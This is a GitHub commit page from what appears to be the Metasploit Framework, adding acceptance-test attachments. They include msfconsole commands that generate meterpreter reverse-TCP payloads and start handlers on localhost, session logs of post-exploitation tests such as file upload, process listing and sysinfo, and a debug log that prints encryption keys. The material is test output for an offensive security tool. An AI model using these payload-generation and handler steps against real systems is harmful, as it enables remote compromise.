Skip to content

Commit

Permalink
Update docs
Browse files Browse the repository at this point in the history
  • Loading branch information
msjenkins-r7 committed Jan 26, 2024
1 parent 4e768b0 commit 53bae9d
Show file tree
Hide file tree
Showing 5,871 changed files with 937,235 additions and 935,966 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
5,789 changes: 0 additions & 5,789 deletions acceptance-tests/data/attachments/102966b9eca0a462.txt

This file was deleted.

2,372 changes: 2,372 additions & 0 deletions acceptance-tests/data/attachments/1037753f1ea59505.txt

Large diffs are not rendered by default.

23 changes: 23 additions & 0 deletions acceptance-tests/data/attachments/10411ecdb0cc0885.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
## Load test modules
loadpath test/modules

## Payload
use osx/x64/meterpreter_reverse_tcp

## Set global datastore
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/osxx64meterpreter_reverse_tcp_session_tlv_logging20240125-2004-mpsg7itxt

## Generate command
generate -o /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-osx-x---meterpreter-reverse-tcp20240125-2004-yyiuit -f macho AutoVerifySessionTimeout=30 lport=6001 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/osxx64meterpreter_reverse_tcp_debug_log20240125-2004-xowj4ftxt MeterpreterTryToFork=false MeterpreterDebugBuild=true

## Create listener
to_handler

## Execute command
/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-osx-x---meterpreter-reverse-tcp20240125-2004-yyiuit


## Replication commands
use test/unix
run session=1 AddEntropy=true Verbose=true
90 changes: 90 additions & 0 deletions acceptance-tests/data/attachments/104c1b02e28a25f.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
use python/meterpreter_reverse_tcp
Stopping all jobs...
msf6 post(test/get_env) > irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20240125-2990-1buwditxt
msf6 payload(python/meterpreter_reverse_tcp) > generate -o /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py -f raw AutoVerifySessionTimeout=30 lport=6010 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/tmp/pythonmeterpreter_reverse_tcp_debug_log20240125-2990-rv7lyatxt MeterpreterTryToFork=false PythonMeterpreterDebug=true
msf6 payload(python/meterpreter_reverse_tcp) > SessionTlvLogging => file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20240125-2990-1buwditxt
msf6 payload(python/meterpreter_reverse_tcp) > [*] Writing 24920 bytes to /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py...
msf6 payload(python/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 9
msf6 payload(python/meterpreter_reverse_tcp) >
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:6010
[*] Meterpreter session 10 opened (127.0.0.1:6010 -> 127.0.0.1:58214) at 2024-01-25 19:34:30 +0000
use test/meterpreter
msf6 post(test/meterpreter) > run session=10 AddEntropy=true Verbose=true
[*] Setup: changing working directory to tmp: /tmp
[*] Setup: Creating clean directory
[*] Creating directory meterpreter-test-dir-hvxmsyeq
[*] meterpreter-test-dir-hvxmsyeq created
[*] Setup: Now in /tmp/meterpreter-test-dir-hvxmsyeq
[*] Running against session 10
[*] Session type is meterpreter and platform is linux
[+] should enumerate supported core commands
[+] should support 3 or more core commands
[*] Starting process tests
[*] [should return its own process id] Pid: 3218
[+] should return its own process id
[*] [should return a list of processes] PID info: {"pid"=>3218, "ppid"=>2990, "name"=>"python", "path"=>"python /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py ", "session"=>nil, "user"=>"runner", "arch"=>nil}
[+] should return a list of processes
[*] Starting system config tests
[+] should return a user id
[+] should return a sysinfo Hash
[*] Starting networking tests
[+] should return network interfaces
[+] should have an interface that matches session_host
[+] should return network routes
[*] Starting filesystem tests
[*] [should return the proper directory separator] received sysinfo {"Computer"=>"fv-az664-421", "OS"=>"Linux 5.15.0-1053-azure #61~20.04.1-Ubuntu SMP Tue Nov 21 17:50:57 UTC 2023", "Architecture"=>"x64", "BuildTuple"=>nil, "System Language"=>"C", "Domain"=>nil, "Logged On Users"=>nil}
[*] [should return the proper directory separator] Received separator "/" - expected: "/"
[+] should return the proper directory separator
[*] [should return the current working directory] CWD: /tmp/meterpreter-test-dir-hvxmsyeq
[+] should return the current working directory
[+] should list files in the current directory
[*] [should stat a directory] Current directory: "/tmp/meterpreter-test-dir-hvxmsyeq"
[*] [should stat a directory] Stat of current directory: #<#<Class:0x00007f6be8eade30>:0x0000558852e094c8 @stathash={"st_dev"=>2065, "st_mode"=>16877, "st_nlink"=>2, "st_uid"=>1001, "st_gid"=>127, "st_rdev"=>0, "st_ino"=>258059, "st_size"=>4096, "st_atime"=>1706211270, "st_mtime"=>1706211270, "st_ctime"=>1706211270}>
[+] should stat a directory
[*] [should create and remove a dir] Directory Name: meterpreter-test-dir-nkrxeblq
[*] [should create and remove a dir] Directory created successfully
[*] [should create and remove a dir] Directory removed successfully
[+] should create and remove a dir
[*] [should change directories] Directory Name: meterpreter-test-dir-nkrxeblq
[*] [should change directories] Directory created successfully
[*] [should change directories] Old CWD: /tmp/meterpreter-test-dir-hvxmsyeq
[*] [should change directories] New CWD: /tmp/meterpreter-test-dir-hvxmsyeq/meterpreter-test-dir-nkrxeblq
[*] [should change directories] Back to old CWD: /tmp/meterpreter-test-dir-hvxmsyeq
[*] [should change directories] Directory removed successfully
[+] should change directories
[*] [should create and remove files] File Name: meterpreter-test-nkrxeblq
[*] [should create and remove files] Wrote to meterpreter-test-nkrxeblq, checking contents
[*] [should create and remove files] Wrote test
[+] should create and remove files
[*] [should upload a file] Remote File Name: meterpreter-test-file-nkrxeblq.txt
[*] [should upload a file] uploading
[*] [should upload a file] done
[*] [should upload a file] remote file exists? true
[+] should upload a file
[*] [should move files] Source File Name: meterpreter-test-nkrxeblq
[*] [should move files] Destination File Name: meterpreter-test-nkrxeblq-moved
[+] should move files
[*] [should copy files] Source File Name: meterpreter-test-nkrxeblq
[*] [should copy files] Destination File Name: meterpreter-test-nkrxeblq-copied
[+] should copy files
[*] [should do md5 and sha1 of files] Remote File Name: meterpreter-test-file-nkrxeblq.txt
[*] [should do md5 and sha1 of files] uploading
[*] [should do md5 and sha1 of files] done
[*] [should do md5 and sha1 of files] remote file exists? true
[*] [should do md5 and sha1 of files] remote md5: 4b9d87c1f495a5a176e18ee27f85279a
[*] [should do md5 and sha1 of files] local md5 : 4b9d87c1f495a5a176e18ee27f85279a
[*] [should do md5 and sha1 of files] remote sha: 5ea80bb04e521918b087c695eb6930ac25ee8a7d
[*] [should do md5 and sha1 of files] local sha : 5ea80bb04e521918b087c695eb6930ac25ee8a7d
[+] should do md5 and sha1 of files
[*] Testing complete in 0.42 seconds
[*] Passed: 20; Failed: 0; Skipped: 0
[*] Cleanup: changing working directory back to /home/runner/work/metasploit-framework/metasploit-framework
[*] Post module execution completed
sessions -K
msf6 post(test/meterpreter) > jobs -K
[*] Killing all sessions...
[*] 127.0.0.1 - Meterpreter session 10 closed.
msf6 post(test/meterpreter) >
125 changes: 125 additions & 0 deletions acceptance-tests/data/attachments/1077e40a7402e0b7.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
[*] running method core_negotiate_tlv_encryption
[*] Negotiating TLV encryption
[*] RSA key: 30820122300d06092a864886f70d01010105000382010f003082010a0282010100dd887ae47c89a9cb753e2fb2123e977487c986bc5dea53e18a21c7f4869599d30a2f39ba3b3be645896d43fd46b42455e9908ad02acee8e0965357eb288b6508fc64e41f4e42f944e01eec98fafc03e50483c44049452b4953b34f2dc9b1e4de33a54134cef609a2f26d6e7d6bae646613afe26da9bb9bf049a617128b8a66e17d508d2219d19be4b9e619d3dead0c147dd5992544bbb007bfe9837c9dc71673c58614c053c55367bf2cfab7ca2a5ba6e22d82a6b4fe3fff12c8a05348fd126b3e4bdc65c2833c02580f4a04334428c311f82d2affc43b52e25d3af6c9ce627962f18d88a5c06d9ec60e6495483e18fddb9010b94e9bbe4908ca16e1d18780c90203010001
[*] AES key: 0xc4b6a50139b31d9cd25b6a89fe9e65ad767f8a49f041bdb9f55d42c3ca4dc069
[*] Encrypted AES key: 0xc3c76ae63d32636488439653f89ccd0414667d452e78519e0f19575be62364d380c4546b02920c3ae6229237b4f08f80619362cc131fc07fb92b5e09b5dd21a1927093480861d0efa53946db8e5e978ec85aebc7da24f53a8985fa8cf2dedb3cafa480962fe4a09c5392c1c7223ef44211c4bad8fef59efe332ffe2d0d79a2bf8e969620d87717ff37dd8fc25d3ef4564434221a89177371b477090988ffb7714c37383d6917f63a6ff06fc8064d288bff7d7542a1c38cf539f9cdef246a744cfb1d5264ef1753b2796a589dffb01d360fd54a3b91d899e285ba90f94ed7f3274e8e911c547f3322e188d4141d853b3b64aad82fd25412aa0d1897e772209cd3
[*] TLV encryption sorted
[*] sending response packet
[*] running method core_set_session_guid
[*] sending response packet
[*] running method core_enumextcmd
[*] sending response packet
[*] running method core_enumextcmd
[*] sending response packet
[*] running method core_loadlib
[*] sending response packet
[*] running method stdapi_fs_getwd
[*] sending response packet
[*] running method stdapi_sys_config_getuid
[*] sending response packet
[*] running method stdapi_sys_config_sysinfo
[*] sending response packet
[*] running method core_set_uuid
[*] sending response packet
[*] running method stdapi_net_config_get_interfaces
[*] sending response packet
[*] running method stdapi_net_config_get_routes
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
[*] running method stdapi_sys_config_sysinfo
[*] sending response packet
[*] running method core_enumextcmd
[*] failed to lookup id for command string: channel_open_stdapi_fs_file
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_client
[*] failed to lookup id for command string: channel_open_stdapi_net_tcp_server
[*] failed to lookup id for command string: channel_open_stdapi_net_udp_client
[*] sending response packet
Expand Down
Loading

0 comments on commit 53bae9d

Please sign in to comment.